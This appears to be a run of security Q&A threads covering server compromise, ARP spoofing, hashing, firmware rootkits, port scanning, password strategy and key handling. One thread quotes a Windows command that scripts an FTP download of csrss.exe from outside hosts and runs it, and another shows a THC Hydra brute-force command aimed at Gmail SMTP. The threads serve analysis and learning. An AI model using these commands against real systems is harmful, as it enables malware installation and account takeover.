Compromised server with psyBNC - what are our next steps? One of our VPS servers has an install of psybnc on it. The install has been present for quite some time, and has now been brought to our attention. We have backups, but they also have psybnc on them. What would be our next steps, and what what could the potential impact be of having psybnc installed?

I personally do not have access to the servers in question, but have been asked to provide input on the situation.

PsyBNC is an IRC bouncer, i.e. a program meant to relay communications for the IRC chat network. By itself, it is pretty benign; it uses part of your CPU and bandwidth, and might be used as an indirect tool for relaying data or mounting attacks of questionable legality.

The real question is: since installing and launching this program requires administrative rights on your server, whoever did it could have done a lot more things. So, what did he do ?

The potential impact is that this unidentified individual installed other tools, e.g. a rootkit, meaning that he can come back at will and totally control the machine; no data on it is safe, and the machine can then be used in various nefarious schemes which could be very embarrassing for you (up to and including plunging you into deep legal trouble -- in a kind-of worst case scenario where the attacker is part of Al-Qaida and brings your machine to the attention of the CIA). As a basic rule, if your machine is rootkitted, then it no longer is your machine.

Therefore, the prudent course is to reformat the machine and resinstall it from scratch. All your backups are suspect, too.

Nuke, nuke, nuke from orbit
Cleanse it with fire
Kill, kill, kill all the bits
Lest things become dire


Ettercap Remote Poisoning I have a question about one parameter and that's it.

When I'm doing DNS spoofing I have to use arp:remote. Can someone explain to me what arp:remote means?

I read the man page, but did not understand it so clearly. I'd be glad if someone helped me  :)

Man page of ettercap - arp:remote

  The parameter "remote" is optional and you have to specify it if you want to sniff remote ip address poisoning a gateway. Indeed if you specify a victim and the gw in the TARGETS, ettercap will sniff only connection between them, but to enable ettercap to sniff connections that pass thru the gw, you have to use this parameter.

Remote means that traffic will be intercepted in both directions; I.e. bidirectional arpspoofing so that traffic destined for the victim is intercepted as well. This is so any DNS replies can be spoofed by the attacker before reaching the victim.


Is it bad practice to share password hashes between systems? For a system currently being constructed, the user will need to log in to multiple systems with the same password. One system (A) is always leading, and the user can only change the password on system A. The new hash is then copied to system B and on. Each system B only has a subset of the credentials of system A.

For technical (deployment and connectivity) reasons we cannot use a single sign-on technology like OAuth to transfer trust. The systems B are rarely connected, so while we can push information from A to B, we cannot allow B to rely on a connection to A for its user validation.
Of course we correctly salt and hash the passwords.

Now I wonder: is it bad practice for these systems, all of them under our control, to share the same password hash for a user?

The issue with this design is that there are now multiple points of failure.  A compromise of the database for application A now compromises the security of application B.  You also have more transport security to worry about.  An attacker can theoretically get a MITM for the password copy from application A to application B.  A traditionally designed application does not suffer from this flaw.


openssl speed tells me blowfish is much quicker than md5, what am I missing? So I ran openssl speed md5 && openssl speed blowfish and blowfish seem quicker than md5.

Here are the results (ran on windows WSL).

$ openssl speed md5 && openssl speed blowfish
Doing md5 for 3s on 16 size blocks: 11438181 md5's in 3.00s
Doing md5 for 3s on 64 size blocks: 8164424 md5's in 3.00s
Doing md5 for 3s on 256 size blocks: 4405667 md5's in 3.00s
Doing md5 for 3s on 1024 size blocks: 1547154 md5's in 3.00s
Doing md5 for 3s on 8192 size blocks: 212233 md5's in 2.95s
OpenSSL 1.0.1f 6 Jan 2014
built on: Mon Jan 30 20:38:38 UTC 2017
options:bn(64,64) rc4(16x,int) des(idx,cisc,16,int) aes(partial) blowfish(idx)
compiler: cc -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
md5              61003.63k   174174.38k   375950.25k   528095.23k   589360.25k
###############################################################################
Doing blowfish cbc for 3s on 16 size blocks: ^T21511383 blowfish cbc's in 3.00s
Doing blowfish cbc for 3s on 64 size blocks5410400 blowfish cbc's in 2.84s
Doing blowfish cbc for 3s on 256 size blocks: 1438809 blowfish cbc's in 2.98s
Doing blowfish cbc for 3s on 1024 size blocks: 355336 blowfish cbc's in 2.97s
Doing blowfish cbc for 3s on 8192 size blocks: 42136 blowfish cbc's in 2.96s
OpenSSL 1.0.1f 6 Jan 2014
built on: Mon Jan 30 20:38:38 UTC 2017
options:bn(64,64) rc4(16x,int) des(idx,cisc,16,int) aes(partial) blowfish(idx)
compiler: cc -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
blowfish cbc    114727.38k   121924.51k   123602.38k   122513.15k   116614.23k

Now, I know blowfish is used by bcrypt, and I know bcrypt is a slow algorithm, so how come I get these results where blowfish is so fast ?

I have got a few hypotheses about this, but no way to check them :

Is that related to being on windows subsystem on linux ?
Is that related to the COST of bcrypt, and for instance openssl speed blowfish runs with a cost of 1 (or the likes)
Is this blowfish not the same as bcrypt's blowfish

Or of course, something else.

First, I think you're misinterpreting your results. If for example we look at 1024-size blocks, MD5 is doing 1,547,154 in 3 seconds while Blowfish is only doing 355,336, and so is taking more than four times as long per operation as MD5.

Second, bcrypt iterates Blowfish key setup a configurable number of times, typically 4,096. Try running your test again, but comparing one iteration of MD5 with 4,096 iterations of Blowfish, and see which is faster. So yes, it's the COST parameter in bcrypt setup.


Detecting and removing Absolute persistence technology Absolute persistence technology amounts to a persistent rootkit pre-installed by many device manufacturers (Acer, Asus, Dell, HP, Lenovo, Samsung, Toshiba, etc) to facilitate LoJack for laptops, and other backdoor services:

  The Absolute persistence module is built to detect when the Computrace
  and/or Absolute Manage software agents have been removed, ensuring
  they are automatically reinstalled, even if the firmware is flashed,
  the device is re-imaged, the hard drive is replaced, or if a tablet or
  smartphone is wiped clean to factory settings.

  Absolute persistence
  technology is built into the BIOS or firmware of a device during the
  manufacturing process.

This has echoes of both Rakshasa and vPro.

Also, like other corporate rootkits, it increases the attack surface available on the host PC and thereby opens the door to additional malware:

  The protocol used by the Small Agent provides the basic feature of
  remote code execution [and] creates numerous opportunities for remote
  attacks in a hostile network environment. ... A typical attack on a
  local area network would be to redirect all traffic from a computer
  running Small Agent to the attacker’s host via ARP-poisoning. Another
  possibility is to use a DNS service attack to trick the agent into
  connecting to a fake C&C server. We believe there are more ways to
  accomplish such attacks, though this is beyond the scope of the
  current research.

If a user legally purchases, secondhand or new, a device that originally had Absolute persistence technology built-in and may even have had it activated, and wishes:

to detect whether the technology is still present in the device; and, if so,
to remove that technology from the device (i.e. disinfect the device),

how best should the user go about this?

I'm guessing that Coreboot is part of the answer.

"Absolute persistence technology is built into the BIOS or firmware of a device during the manufacturing process."

So, in addition to removing the agent, you will need to flash the BIOS or firmware of the device, with a version without the technology.

Since "core boot is a Free Software project aimed at replacing the proprietary BIOS (firmware) found in most computers", it is potentially part of an answer.

Of course, you haven't specified a device, so it's impossible to provide you with a detailed answer.  The only correct answer is 'it depends'.

The functionality of the technology requires that removing it remain infeasible, so its quality/repuation hinges on us being unable to provide you with a detailed answer.

It's really not one technology, but many; review the NSA's ANT technology codenamed DEITYBOUNCE, IRONCHEF, FEEDTROUGH, GOURMETTROUGH, etc; see https://commons.wikimedia.org/wiki/Category:NSA_ANT...


Anonymity of sneakernet: identifiable information on removable storage Alice, an anonymous informant, would like to transmit digital documents to Bob while maintaining her anonymity.

For whatever reason, she chooses to copy the documents to some kind of physical removable storage, for example: USB flash drives, external hard drives or DVD-ROM / BD-ROM, and deliver the media to Bob via sneakernet.

(Assume it's possible to deliver the physical media to Bob anonymously, there's no physical identifiable evidence (fingerprints, etc.), and the documents themselves do not contain identifiable information.)

In what ways may Alice inadvertently leave identifiable information in the removable storage, so that Bob can trace back to Alice?

I am looking for answers that apply uniquely to the usage of physical media, as opposed to e.g. transferring the documents by Internet. For an obvious example: If Alice edited a .docx file with Microsoft Word, she may have left identifiable metadata in the file. However such metadata will be available whether she used sneakernet or Internet to transfer that document, so this is not a valid answer for this question.

Some ideas I can think of:

DVD / Bluray burners writing their serial numbers to the blank media. (We know laser printers encode their serial numbers in printouts. Do optical drives do something similar?)
Identifiable metadata in file system, either at FS creation or with files stored in them. For example, I imagine NTFS knows a user's SID if any file has permissions assigned for that user. Does e.g. casually copying a file from "My Documents" to an NTFS-formatted flash drive leave your SID in that flash drive? What about Linux file systems? A bare UID:GID doesn't seem very identifiable, but what about ACL?
Serial number of the media itself. Perhaps the serial number of a portable hard drive can somehow be traced back to the purchaser.

How plausible are any of these scenarios above? What else can you think of?

Very plausible. Windows stores device information from connected USB devices in the registry, this is commonly used in forensics.

If you attach an iPod/iPhone, it can leave traces on the local system as well and traces of the system you connected to my be left on the device.

Endpoint DLP and antivirus may also scan removable media and leave traces. If a devices is scanned upon being insert files may be indexed, copied, or entered into logs.

CD/DVD media is less likely to include media metadata or serial numbers, but the media name assigned to the disk may be useful.

If Alice cannot control or cannot guarantee the security of Bob's system, she may be better off at least using some fresh media (brand new in package, randomly selected) and not connect the media to a system with any unique data (e.g, boot up in LiveCD then copy from one media to another; or more paranoid, use a new or public PC which cannot easily be linked back to Alice).


Why is UDP port scanning slower than TCP port scanning? I can't seem to find an answer for this.

Any suggestions?

The difference is in the very nature of the two protocols.

TCP is a connection-oriented protocol. This means that systems must establish and confirm a stable connection - for TCP, the process is commonly known as the "three-way handshake" - before data is actually transferred. As the process must happen quickly for a good connection, it can be reasonably expected that an open TCP port will respond in short order when it is probed. This means that the timeout before assuming a port is closed may also be very short.

UDP, on the other hand, is a connectionless protocol. For UDP, communications are sent without any expectation of a timely confirmation of receipt from the remote end. Thus, one has to allow for a longer timeout before it can be assumed that a remote port is closed - even after the timeout, such assumption is not 100% assured to be valid.

In a certain way, it's kind-of like this:

TCP will call your phone and wait for you to actually pick up in order to warn you of a fire in your workplace. If you pick up and they talk to you, they know you've gotten the message. If your voicemail picks up, or the phone rings >4 times without a re-direct, they can be pretty sure you're not getting the message soon enough.
UDP will send an emergency alert announcement to your phone to tell you of the fire. They won't know if you got the message unless they see you exiting the building, 5 flights of stair-climbing and a 100-meter dash or two later. And that's assuming you were even in the building to begin with.

Now, let's say you had to notify 1,000 or so people about a fire. But you could only tell them one at a time, and had to wait for confirmation of receipt (or a reasonable time to be sure of probable non-receipt) from each one before trying the next.

Port scanning (with Nmap or any other tool) is kinda like that. TCP is gonna go relatively quick, and will probably be pretty accurate. With UDP the building will probably burn down before you get through the list just once, and you still won't be really sure whether the people you sent the message to were even around to care about it.


What are the implications of reversing hashes Today it was posited to me that

sha256 has a domain large enough to never encounter a collision and
that because it is such a large domain and given that a reverse function was created for it, that it would make current compression obsolete. Large files could be created by reversing a sha256.

I understand that hashes are one way, deterministic functions but if there were a reversible hash would this hold true, or is the potential of collision to great to ever really create unique hash?

Reversible hashes aren't compression

Even hashes which we can reverse cannot be used as a compression. Assuming that we could reverse sha256 wouldn't make current compression obsolete, because there are infinitely many large files, but finitely many (2^256) sha256 values, so infinitely many large files will have the same sha256 hash - this is known as the pigeonhole principle. Reversing the hash would get you one or all of the possible large files, but you can't ensure or realistically hope that this is the exact one you compressed.

For a trivial example, if you'd want to compress files of 33 bytes (264 bits) then there are 2^256 different sha256 hashes, and 2^264 possible different 33 byte files - on average every 2^8 such files will have the same sha256 hash. While it's implausible that you'll accidentally get a collision (1/2^256 chance), it's also unlikely that on a "reverse" you'll accidentally get the same file that you compressed (1/2^8 chance). In cryptography saying "collision proof" doesn't mean that there aren't collisions (of course there are, there must be) but rather that the collisions are hard/slow to find and manipulate.


differentiate correct and incorrect password So here it is, I had time to kill, so I used it to hack into my own gmail address with THC Hydra. (very fun I know).
So I checked out some old forums and gradually learned how to do it.
I understood the overall functioning of THC Hydra, whether it is the dictionary system or brutforce, the password and user lists.
But many obstacles have stood in my way and are still standing, starting with the language barrier.
There is also the phpsessid cookie that I can't systematically find or differentiate between the different servers (smtp, ssl, ftp etc...).
However, my main one is this one: By creating a password list with a single password (the correct one) and by creating a user list with a single user (the correct one), THC Hydra makes endless attempts and comes to the conclusion (or not) that no password corresponds or comes to any conclusion.
So I guess I have to configure some parameters, especially when a password is wrong, and when a password is correct.
I have to use the phpsessid, don't I? How to ingest it in Hydra? How can he differentiate between the fake and the real? Have I forgotten a crucial point when setting up?

Attached are some codes and results I tried

I am very ignorant about the use, so I gladly accept any criticism and help from you

Sincerely

(c) 2019 Microsoft Corporation. Tous droits réservés.
Les ressources mémoire disponibles sont insuffisantes pour traiter cette commande.

C:\Users\0ph10\Desktop\kit\brut\THCHydra\ThcHydraMaster>hydra -l C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt -P C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\psw.txt -e ns -V -s 465 smtp.gmail.com smtp
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-04 20:59:48
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 3 tasks per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service smtp on port 465
[ATTEMPT] target smtp.gmail.com - login "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - pass "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - 1 of 3 [child 0]
[ATTEMPT] target smtp.gmail.com - login "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - pass "" - 2 of 3 [child 1]
[ATTEMPT] target smtp.gmail.com - login "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - pass "PasswordtestHydra" - 3 of 3 [child 2]
[RE-ATTEMPT] target smtp.gmail.com - login "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - pass "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - 3 of 4 [child 0]
[RE-ATTEMPT] target smtp.gmail.com - login "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - pass "" - 3 of 4 [child 1]
[STATUS] 3.00 tries/min, 3 tries in 00:01h, 1 todo in 00:01h, 3 active
[REDO-ATTEMPT] target smtp.gmail.com - login "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - pass "PasswordtestHydra" - 4 of 6 [child 2]
[REDO-ATTEMPT] target smtp.gmail.com - login "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - pass "C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt" - 5 of 6 [child 0]

You have mentioned that you are using a file for single user and another file for single password.

Users File:
C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\users.txt
Passwords File:
C:\Users\0ph10\Desktop\kit\brut\THCHydra\passlist\psw.txt

But you have used the switch -l instead of -L to specify the users file .
Refer user$hydra -h for more help.


Any reason not to use secure info that is using personal info but no one else knows in a password? I accept that nothing can be better than a truly random password.

I also know that it is A Bad Thing to use any personal information in a password.

However, given that it is difficult to get people to use proper password practises, and given that people remember personal information, even the most obscure, is it (practically, not theoretically) acceptable to use a password which combines obscure personal information which one can be reasonably certain is unknown to/undefinable by others?

To stress, I don't think we need discuss the theory of strong passwords.

If someone is over a certain age, the have a huge store of life memories and can choose from obscure items.

I can remember:

the 'phone number of an elderly aunt who died decades ago. We, most of us, have dozens of relatives, friends, neighbours, from days gone by.
the license plate of a car which my father drove when I was 8 or so (and which he, himself, could not remember when I mentioned it recently). How many cars have I, family, friends, neighbours, had over the years?
a university professor's name
a long defunct bookshop
a pub I haven't been within a hundred miles of in decades, and didn't frequent much, but was near to a place of significance to me
a train station, in a foreign country, where I once had a delicious snack
the post/zip code of a place to which I wrote actual letters, back in the day

I could go on and on.

For someone who can't/won't use a password generator (and we all know enough of them), this is better than correct horse battery staple.

Is it "good enough"? If someone refuses to use a password generator, should I urge them to try thinking of personal and unrelated info, which they are sure that no one other person would know and no one would remember.

These elements aren't good enough by themselves, because phone numbers, license plates, names, zip codes etc are known and enumerable and it's easy to add them to a word list of a password guesser. It doesn't matter that your aunt is long dead; her phone number is still just a number, and not a very large one at that.

The pub and name of a long defunct book shop are a bit better because the pub might be named "the lamb and wicker basket" and the book shop might be "eggertsons & son's mind food", which are probably not found on any readily-available list on the internet.

I'm not sure about where to put the train station. That's basically a place name, which I can get at by throwing a spider at wikipedia or possibly download in a ready-made list from some kind of GIS website, so I don't think that would be a good idea to use just one of these snippets.

However, as you suggest, combining these personal snippets would make for a very strong password. E.g. the phone number of your long-dead aunt, combined with the place you spent your first vacation at, combined with the licence plate of your grandfather, combined with the pub where you met your wife - that would probably make a very good password.

The battery horse staple thing comes from the diceware wordlist, which consists of about 7000 words. There are more zip codes, far more phone numbers, far more license plates, far more place names than that, so the resulting combination would be much stronger than a diceware password, assuming that your attacker didn't know you very well.

If you wanted to teach this method to people, you'd have to make sure that they understood that the strength of the resulting password depended on the number of possibilities for each of the personal snippets. "Your grandfathers license plate number" opens up millions of possibilities, while "your brother's favorite food" or "your best friend's favorite color" only offers a few easily guessed possibilities and therefore shouldn't be included as a part of the password.


Can we join a table in this Ruby on Rails Direct Object Reference? I am trying to inject a RoR application... I have found a nice command which will allow me to delete things unchecked...but the problem is that its not a problem its a very minor point, to make it a problem is there anyway I can inject a command to join to another table?

for example I have:

pointless = uselessTable.find(params[:uselessId])
pointless.delete

I was hoping it was possible to join another table? Im not even 100% sure if this is injectable I just know its an open command that goes unchecked. any suggestions?

This seems like it is actually a direct object reference vulnerability as you are not injecting any SQL to exploit the vulnerability - just providing whatever ID you want.  Based on the code you have provided there is no way to delete from another table unless the database has cascading deletes setup or something like that.


I need help figuring out the meaning of a potential hijacking script I am using Ubuntu 13.04. Something really strange happened. I was writing my homework for a Ruby course. I had Sublime Text 2 (a text editor like Notepad, Notepad++, Textmate etc.) opened and was working on some code. I was also surfing the web using latest version of Chrome. At some point I switched windows from Chrome to Sublime Text 2. I was about to write something, when suddenly the following script was "pasted" into my document:

eq&echo user 20858 17334 >> eq &echo get csrss.exe >> eq &echo quit >> eq &ftp -n -s:eq &csrss.exe &del eq

It got pasted in several portions in very quick successions. It was as if someone had control over my computer and was pasting this. I am sure I didn't paste it myself (in case somebody thinks it somehow got copied to my clipboard to get pasted the next time I press Ctrl + V). So my question(s) - what does this script mean, what kind of attack was that and how do I protect myself from this in the future?

Well, there seems to be a few similar snippets of code around the web. The most similar to yours was found on a Pastebin-type site that has since been removed (but the Google Cache was still up):

cmd /c echo open 201.120.57.137 21 >> ik &echo user oracle oracle >>
ik &echo binary >> ik &echo get update.exe >> ik &echo bye >> ik &ftp
-n -v -s:ik &del ik &update.exe &exit &echo open 95.125.139.200 11104 >> eq&echo user 1297 20204 >> eq &echo get csrss.exe >> eq &echo quit >> eq &ftp -n -s:eq &csrss.exe &del eq

Although the code is somewhat different, there is quite good analysis from veteran Ars Technica forum member Syonyk here:

tl;dr version: "Don't run VNC on a public IP with anything but a very,
very strong password. Better yet, don't run it on a public port (bind
it to localhost), and SSH/VPN in to access it."
A friend of mine has a Mac, and her system has been a bit strange
lately.
Specifically, it's been acting suspiciously like it's been rooted -
which, being a fellow Mac user, concerns me greatly. She's had random
text show up in IM windows, but apparently was away from the computer
and never investigated.
Tonight, she had something show up in a terminal window while she was
away, and IM'd it to me. I have remote (root) access to her system
(she's aware of this and set up the account for me), and was bored, so
I decided to investigate. ... My first thought was that this had to be
an automated program. A human won't try to enter Win32 specific
commands on a Mac. It appears that the program sent keycodes that were
not translated properly to the Mac, which would be consistent with an
automated program.

I would generally think that:

This is an automated attack. csrss.exe is a Windows system
executable, and someone specifically targeting your Linux system
would not try to invoke it.

This type of attack (passing a command sequence into the user
clipboard in the hopes that it will be inadvertently executed in a
command prompt) is not new - the Ars Technica post is from 2002, over
a decade ago.

So I would suggest that your computer may not be compromised (contrary to the Ars Technica opinion above):

You sound like you would not have made the mistakes described. It may "just" be that a
browser feature (or exploit) has allowed a malicious site to access
your clipboard.

If indeed your computer has been compromised, the attacker would
have no need to use this method - he would just interact with a
shell remotely.

The solution for you would probably be watchful waiting - as in be alert for any further oddness, and if seen re-evaluate.
Or if some action were deemed prudent, probably the best would be the usual suspects - make sure your browser(s), browser plugins, and your OS are up to date with security patches.


Is tails needed to securely generate a PGP key on raspberry Pi? I understand that usually one should use Tails on a trusted machine to generate PGP keys. However, I find it difficult to trust a machine with an Intel CPU, many wireless interfaces, a hard disk that may have some hidden caches, etc, etc.

So I was considering using a Raspberry Pi 2 B for generating keys. The problem then, is that Tails cannot be run on a Raspberry Pi. So I was thinking about the following:

Create a trusted Raspbian image on a cheap 8GB SD card.
Use the Raspbian SD card on a Raspberry Pi 2 B (so no Wifi / bluetooth / hard disk).
Generate my keys on the Pi. Copy them by hand to paper / put them on a couple of PGP smart cards etc.
Destroy physically the SD card used on the Pi when done.

Does that sound like a safe procedure? Anything that could be improved? And / or should I destroy the Raspberry Pi also (and maybe at that stage the keyboard too, in case it is able to log anything)?

Indeed, the documentation says:

  For the moment, Tails is only available on the x86_64 architecture. The Raspberry Pi and most tablets and phones are based on the ARM architecture. Tails does not work on the ARM architecture so far.

And a possible suggestion:

  Look for a tablet with an AMD or Intel processor. Try to verify its compatibility with Debian beforehand, for example make sure that the Wi-Fi interface is supported.

If you are really concerned with the hardware, you can probably find a disposable SBC with a suitable architecture, I understand they exist but are substantially more expensive than the Raspberry PI. Otherwise use some old laptop that is going to the trashbin anyway, or a dedicated machine that will never go online and never be used for any other purpose.

Tails is a good option to generate PGP keys in 'airgapped' mode because:

it has an option to disable networking on startup  (to address one of your concerns)
it has ccid drivers and can support smart card readers out of the box (for those who want to immediately transfer subkeys to the
smart card)
it is normally run as a live disk (or USB key), no hard drive storage involved

However, it is not the only viable option. I believe there is an Ubuntu derivative designed to work offline on sensitive documents (can't remember the name right now).

I agree that a PGP key should preferably be generated in optimal conditions, that is in 'airgapped' mode, you could also add an extra source of entropy, and there quite a few more recommendations.

Or you could simply do your own install of Raspbian on an SD card like you said, and then destroy the SD card. But by your logic, you should also destroy the Raspberry Pi.

It seems that your biggest worry is trust in the hardware. Unfortunately there is no easy solution. AFAIK the Raspberry Pi is not fully open-source hardware-wise, yours may have been built in China, and even if it was produced in a Western country supply chain attacks are a fact of life.


What Are The Best Practices (Application Security Policy) For Modifying Rijndael Salt, IV, Pass Phrase (Note: originally posted in SO - advised to post on SSE)

With regards to Rijndael encryption, what (if any) are the best practices (and consequences) regarding the periodic modification of one or more of these values (specifically in a C# .NET web application):

Salt
Initialisation vector (IV)
Pass phrase

Is it common practice (or in fact necessary) to change any of these values over the lifetime of an application? (For example, if one or more are compromised, or just as part of a general policy.)

If so, what will be the impact upon existing data in a database which was encrypted using the original (prior) values? By changing these values, one would think that the decryption of existing data would no longer 'work' (or return false information?).

(I imagine the scope of this question might include the way in which such values are stored - e.g. using third-party or otherwise secure storage mechanisms - so initially let us say the aforementioned values are currently stored in plain text in a class named RijndaelCryptography, and go on from there.)

To illustrate my question, please see the following link: How To: Encrypt and Decrypt Data Using a Symmetric (Rijndael) Key (C#/VB.NET)

Is that particular example in any way good practice (fixing the pass/salt/IV at code level)?

Update 1

Removed "AES" from question.

Update 2

I read that Microsoft advise using AES instead of Rijndael:

  "The Rijndael class is the predecessor of the Aes algorithm. You should use the Aes algorithm instead of Rijndael. For more information, see the entry The Differences Between Rijndael and AES in the .NET Security blog." (Link - see half-way down that page)

AES only takes a key and an IV. The IV should be random and different for each encryption. Just prepend it to the ciphertext. I also strongly recommend adding authentication.

Concerning passphrases, I'd avoid them where possible in favour of a simple random key. Keys are simple secure and avoid the cost of key derivation. Only use passwords when the user needs to enter them.

When you really need a password, a sufficient iteration count, generate a random salt, and use PBKDF2(or better). This hashing and salting is only there to compensate for weak passwords.
When to choose a new salt in key derivation is more complicated. Ideally use a new random one for each encryption, but that might be too expensive. Sometimes you can reuse them, sometimes you can cache the key, but that's application dependent.

I wouldn't hardcode the key in your source-code. The web.config file seems like a more appropriate place. You can't really hide the key, since your application needs it.


Do these ports mean anything? I'm diving to the world of penetration testing and I decided to port scan my server. My website is completely managed by a friend of mine but he lacks any knowledge of security.

PORT      STATE    SERVICE      VERSION
21/tcp    open     ftp          ProFTPD
23/tcp    filtered telnet
25/tcp    open     smtp         Exim smtpd
80/tcp    open     http         nginx
110/tcp   open     pop3         Dovecot pop3d
135/tcp   filtered msrpc
143/tcp   open     imap         Dovecot imapd
161/tcp   filtered snmp
443/tcp   open     ssl/http     nginx
445/tcp   filtered microsoft-ds
465/tcp   open     ssl/smtp     Exim smtpd 4.X
587/tcp   open     smtp         Exim
993/tcp   open     ssl/imap     Dovecot imapd
995/tcp   open     ssl/pop3     Dovecot pop3d
1433/tcp  filtered ms-sql-s
1434/tcp  filtered ms-sql-m
2222/tcp  open     sftp         ProFTPD mod_sftp 0.9.7
3306/tcp  filtered mysql
3333/tcp  filtered dec-notes
4899/tcp  filtered radmin
5800/tcp  filtered vnc-http
5801/tcp  filtered vnc-http-1
5900/tcp  filtered vnc
5901/tcp  filtered vnc-1
20000/tcp filtered dnp

First thing I noticed is that it's running an outdated version of ProFTPD. Will this or anything else have any security impact on my server ?

A Brief Note On Banner Grabbing
The first, biggest, hurdle one faces when getting into vulnerability assessments or penetration testing is understanding the limitations of whatever detection mechanism you're using. Like Rory said, you didn't really say how you got the presented list of ports, however it looks like an NMAP scan using banner grabbing. This Is Important! Banner grabbing works by asking each scanned port,

"Hello old chap! Anything you might be able to assist me with?"

The results rely on both being able to access the port, and the service responding accurately.
Issues With Banner Grabbing
You will often find that distributions that attempt to provide long term support, RedHat being the classic example, that these banners are not necessarily useful. Typically, when a bug is found in a piece of software (and assuming it is fixed) then a new version will be released that fixes the issue. Often, these long term support distributions do not want to blindly upgrade the software. So, in order to address bugs, the vendor will manually apply the patch to the older version. This is often called "backporting". As a result, the patch gets applied, but the banner still says the old version.
Better Options
While a quick nmap scan with banner grabbing can be useful, it is only a first step that may be useful in identifying low hanging fruit. To really good good information on your system there are a few other things you can do.

Ask - The easiest answer here is to ask your friend for the system configuration information. What distribution is it running, what binaries are listening on each port, what versions of software are installed, what is his patching schedule, when was it last patched, etc. This is all, of course, limited to what he actually tells you, but so long as he is trustworthy and competent, it will result in better information.
Credentialed Scans - This is my personal favorite. The better vulnerability assessment products will, given adequate credentials and a way to log into the system, can perform a laundry list of local checks. This is how one can bypass the backported fixed issue discussed above. Some, such as Tenable's Nessus are free for use in certain situations and are nearly as full featured as their commercial versions.
Exploit It! - Assuming you have permission, you can always try exploiting the service. If you succeed, then you know there's a problem. This can also give you a chance to really start trying out some fun things like finding and using known exploits, or getting to know a framework like Metasploit.


WPA2-EAP and Captive Portal Is it possible to use Captive Portal for WiFi and WPA2-EAP at the same time?

Is there any EAP supporting Captive Portal?

For example - user connects to WiFi, goes to Captive Portal over unsecure WiFi (but using TLS), then after logon, the EAP is completed and user starts using his own WPA key just like in WPA2-EAP authentication?

If I want to use Captive Portal, is there any way to protect traffic from network sniffers?

Is it possible to use Captive Portal for WiFi and WPA2-EAP at the same
  time?

Yes is absolutely possible

  How to achieve it?

In General it is achieved by giving wall gardened access to user even if he and successfully authenticated EAP authentication , it is called chaining eap authentication with webauth , i have done this is cisco wlc and free radius environment quite easily

  Is there any EAP supporting Captive Portal ?

Coova offers this functionality with its very basic version which can be found at

http://coova.github.io/CoovaChilli/WPACaptivePortal/

for over view the request and respose of Radius is as :-

Access-Request packet from host 192.168.100.200:2084, id=14, length=171
    User-Name = nobody
    EAP-Message = 0x020200061900
    ChilliSpot-Config = allow-wpa-guests
    Calling-Station-Id = 00-11-24-90-XX-XX
    Called-Station-Id = 00-06-25-C5-XX-XX
    NAS-Port-Type = Wireless-802.11
    NAS-Port = 1
    NAS-IP-Address = 192.168.100.200
    NAS-Identifier = 00:06:25:c6:xx:xx

    .. EAP Access Challenge/Request and TLS Termination ..

 Sending Access-Accept of id 19 to 192.168.100.200 port 2084
    ChilliSpot-Config := require-uam-auth
    MS-MPPE-Recv-Key = 0x317f2c50e739bd69d14be1d09ec111abe3f562886879b70eee16395637dc5eb5
    MS-MPPE-Send-Key = 0xcbc74e30dce41c343b4afe0ea90b7a6413b659bba3a330bcd265da9df4e85ae7
    EAP-Message = 0x03070004
    User-Name = nobody

Hope this will help you


Securing client side code of react application I'm developing application with react and all the main logic is on the client side. I want to force users to use the application only if they paid for the app subscription.
Are there any methods to prevent(or harden the ability to remove certain restrictions/api calls etc) users to access the app without paying? I was thinking of authentication obfuscation, to make it hard to delete a simple check of auth(if authenticated - proceed, otherwise - block), but this is very simple. Are there anything else I can do / you can suggest?
Thanks

